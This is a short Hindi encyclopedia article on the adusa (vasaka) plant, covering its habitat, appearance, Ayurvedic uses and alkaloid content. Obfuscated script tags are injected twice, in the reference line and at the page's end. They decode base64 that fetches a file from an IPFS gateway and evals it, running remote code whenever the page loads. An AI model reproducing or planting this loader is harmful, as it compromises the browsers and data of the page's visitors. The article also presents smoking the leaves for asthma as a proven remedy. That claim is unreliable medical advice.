अडूसा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

अडूसा (वासक) के पौधे भारतवर्ष में सर्वत्र होते हैं। ये पौधे 4,000 फुट की ऊँचाई तक पाए जाते हैं और चार से आठ फुट तक ऊँचे होते हैं। पूर्वी भारत में अधिक तथा अन्य भागों में कुछ कम मिलते हैं। कहीं-कहीं इनसे वन भरे पड़े हैं और कहीं खाद के काम में लाने के लिए इनकी खेती भी होती है। इनके पत्ते लंबे, अमरूद के पत्तों के सदृश होते हैं। ये पौधे दो प्रकार के, काले और सफेद, होते हैं। श्वेत अड़ू से के पत्ते हरे और श्वेत धब्बे वाले होते हैं। फूल दोनों के श्वेत होते हैं, जिनमें लाल या बैंगनी धारियाँ होती हैं। इसकी जड़, पत्ते और फूल तीनों ही औषधि के काम आते हैं। प्रामाणिक आयुर्वेद ग्रंथों में खाँसी, श्वास, कफ और क्षय रोग की इसे अनुभूत औषधि कहा गया है। इसके पत्तों को सिगरेट बनाकर पीने से दमा शांत होता है। रासायनिक विश्लेषण से इसमें वासिसिन नामक ऐल्कालाएड (क्षार) तथा ऐट्टोडिक नामक अम्ल पाए गए हैं।[1]



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 87 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>